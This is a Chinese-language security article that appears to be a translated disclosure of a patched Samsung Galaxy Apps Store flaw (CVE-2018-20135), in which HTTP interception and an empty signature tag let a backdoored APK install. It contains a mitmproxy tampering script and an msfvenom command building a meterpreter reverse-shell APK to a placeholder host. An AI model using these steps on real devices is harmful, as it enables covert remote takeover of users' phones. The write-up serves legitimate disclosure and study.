技術討論 | 三星Galaxy App商店漏洞導致中間人攻擊實現遠端程式碼執行
*本文僅用於技術討論和學習目的,切勿用於非法用途。
移動作業系統更新機制對於確保使用者信任軟體,遠離黑客攻擊風險來說十分重要。(在本文介紹的漏洞中)攻擊者通過攔截三星Galaxy Apps Store(商店應用)發出的週期更新請求,能夠實現未經授權的任意程式碼注入。
由於商店應用初始更新檢查使用HTTP,攻擊者在控制網路流量(例如,在網路上實施中間人攻擊)的前提下,可以更改用於負載平衡的URL並修改對映象的請求至使用者所控制的域名。這將允許攻擊者欺騙Galaxy Apps使用任意帶有有效SSL證書的主機名,並模擬應用商店API來修改裝置上的現有應用。(最重要的是)攻擊者可以在三星裝置上利用此漏洞實現遠端程式碼執行。
1. 方法概述
1.1 查詢具有相關許可權的應用程式
分析三星移動整個APP生態是一項艱鉅的任務,不過搜尋具有相關許可權(例如能夠安裝其他應用程式)的APP可以大大減少漏洞搜尋量。
採用這種方法,我們開發了一個便捷工具- Androguard ,來轉儲和列舉所有帶有相關許可權的應用程式。使用它,我們分析了所有APK並生成了一個備選APP集合。
1.2 找到相關攻擊面
雖然在沒有系統許可權的情況下,本地安裝應用程式本身就是一個很好的漏洞,但我們設定的目標是檢查可以安裝其他應用程式的系統應用程式,從而實現一個遠端程式碼執行。
為了進一步減少攻擊面,我們假設三星在下載APK時會使用SSL來防止MITM,所以我們編寫了一些模組來縮減備選APK集合:
1.2.1 傳輸安全
我們編譯了一個用於發起HTTP/HTTPS請求類和方法的列表,並對照列表檢查了所有APP,這又縮小了我們的備選範圍。
雖然這種方法會忽略未採用SSL並從不受信任的來源執行不安全安裝的應用程式,但我們假設三星至少在執行危險操作時會嘗試使用SSL。同時我們在受控環境中攔截網路請求,從而在使用這些應用程式時能夠識別HTTP請求。
1.2.2 應用簽名驗證
許多應用程式使用SSL作為其正常操作的一部分,所以之前框定的範圍還是很大,為了進一步減少它,我們過濾了所有包含字串“signature”的類。
1.3 逆向工程
在最終得到的一些備選APP中,我們選擇了最可能有程式包安裝相關漏洞的應用程式–Galaxy Apps Store,作為第一個要檢視的應用程式。為了方便團隊工作和使用IDE,我們使用 JADX 來將APK反編譯為gradle專案並將其匯入Android Studio,這對於查詢類和變數用法等非常有用。
2. 漏洞
2.1 傳輸不安全(HTTP)
Galaxy Apps Store請求一個countryURL欄位來使用。該請求有時具有周期性,也可能是第一次啟動應用或是更改MCC(移動國家/地區程式碼)時。但是,該請求使用的是HTTP而不是HTTPS,這就導致了MITM(中間人)攻擊。
在改POST請求中,裝置會發送有關裝置狀態的資訊,例如:MCC,MNC,裝置型號和語言。在響應中,會返回一個countryURL欄位供商店使用。countryURL中包含一個HTTP URL,但應用程式會在下一個請求中使用HTTPS。
圖1:HTTP請求
圖2:HTTP響應
攻擊者可能攔截網路上的流量,惡意更改請求響應中的countryURL欄位。由攻擊者控制的虛假countryURL可以充當實際API的代理並動態更改多個資訊,例如應用程式名稱,影象,許可權等。
2.2 簽名驗證
此時我們的目標是通過在裝置上安裝任意應用程式來實現RCE。我們分析了更新或安裝應用程式的請求,意識到可以修改APK檔案的URL。雖然原始伺服器返回的XML中有一個簽名引數,但是我們能夠設法繞過此驗證。
當用戶想要安裝或更新應用程式時,商店會請求有關該應用程式的資訊。(伺服器)返回一個XML,其中包含的資訊有許可權、APK大小、下載地址和簽名信息:
<?xml version = “ 1.0 ” encoding = “ UTF-8 ” standalone = “ yes ”?> < SamsungProtocolversion = “ 5.5 ” > ... < valuename = “ contentsSize ” > 72351744 </ value > < valuename = “ installSize ” > 94371840 </ value > < valuename = “ signature ” > a0ce9d124dbc9a39f978f455255355684cc78881 </ value > < valuename = “ downloadUri ” > https://samsappsbn.vo.llnwd.net/astore_bin/fapbeixk0j/2018/1220/7d1791d56d.apk </ value > ... </ SamsungProtocol >
首先,我們嘗試將downloadUri更改為我們控制的其他APK(內建反彈shell),但由於簽名值問題,Store客戶端並不接受它。繼續嘗試在XML中刪除簽名標記,也報錯了。最後發現,如果將簽名標籤置空而非刪除(即<value name=”signature”></value>),簽名會被接受,使得修改APK安裝成功。
3. PoC
為了簡化我們的PoC,我們使用 mitmproxy 來攔截和修改請求。我們編寫了一個指令碼來自動篡改脆弱的HTTP響應並提供假服務感染客戶端:
import re SERVER = b"fakegalaxystore.com" def response(flow): s = flow.response.content m = re.match(b"http:\/\/[a-z]+-odc\.samsungapps\.com", s) if m: s = s.replace(m.group(0), SERVER) flow.response.content = s print("#### %s" % s) ...
一旦客戶端被感染並開始使用虛假的URL,應用程式便可能嘗試更新,而虛假商店服務可以告訴客戶端指定應用程式有新的更新。當客戶端想要安裝或更新指定應用程式時,攻擊者伺服器可以將下載URI替換為後門APK檔案連結,使其安裝在具有額外許可權的裝置上。由於簽名欄位缺乏驗證(如果XML標籤值存在但為空,裝置會不經驗證地接受來自商店的APK),所以在從商店下載任意不校驗簽名的APP時,可以動態修改和感染所請求的APK。正如PoC中的流程,當客戶端請求APK時,他們便會會被下載,儲存和新增後門(使用 msfvenom ):
msfvenom -x original.apk -p android/meterpreter/reverse_tcp LHOST=X.X.X.X LPORT=4444 -o backdoor.apk
利用此漏洞的服務如下所示:
4. 結論
商店應用是具有INSTALL許可權的特權應用程式,允許攻擊者修改清單以新增比應用程式向用戶顯示的更多許可權。因為可以在伺服器響應中修改許可權列表,所以使用者不會意識到所安裝的APP將擁有比安裝選單上顯示的更多的許可權。
整個利用過程大體是這樣的:首先通過MITM在裝置中植入虛假商店API URL,然後動態地給應用程式新增後門並繞過簽名機制,從而安裝自定義的應用程式,最後實現在使用Galaxy Apps Store的裝置上執行任意程式碼(RCE)。
受影響的版本:Samsung Apps Store <4.3.01.7
通過測試的三星裝置:A5 2017(A520),Note 8(N950F),A8 2018(A530F),S7(G930F),XCover 4(G390F),S8(G950F),S8 Plus(G955F),J7 2017(J730F)
漏洞時間線:
30/05/2018 – 向Samsung Bug Bounty program報告
30/05/2018 – 漏洞定級(嚴重程度:高)
27/09/2018 – 修正(Galaxy Apps Store 4.3.01.7 釋出)
16/10/2018 – 得到賞金獎勵
13/12/2018 – 建立CVE條目 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20135
*參考來源: adyta ,柏浮鋒編譯整理,轉載請註明來自 FreeBuf.COM。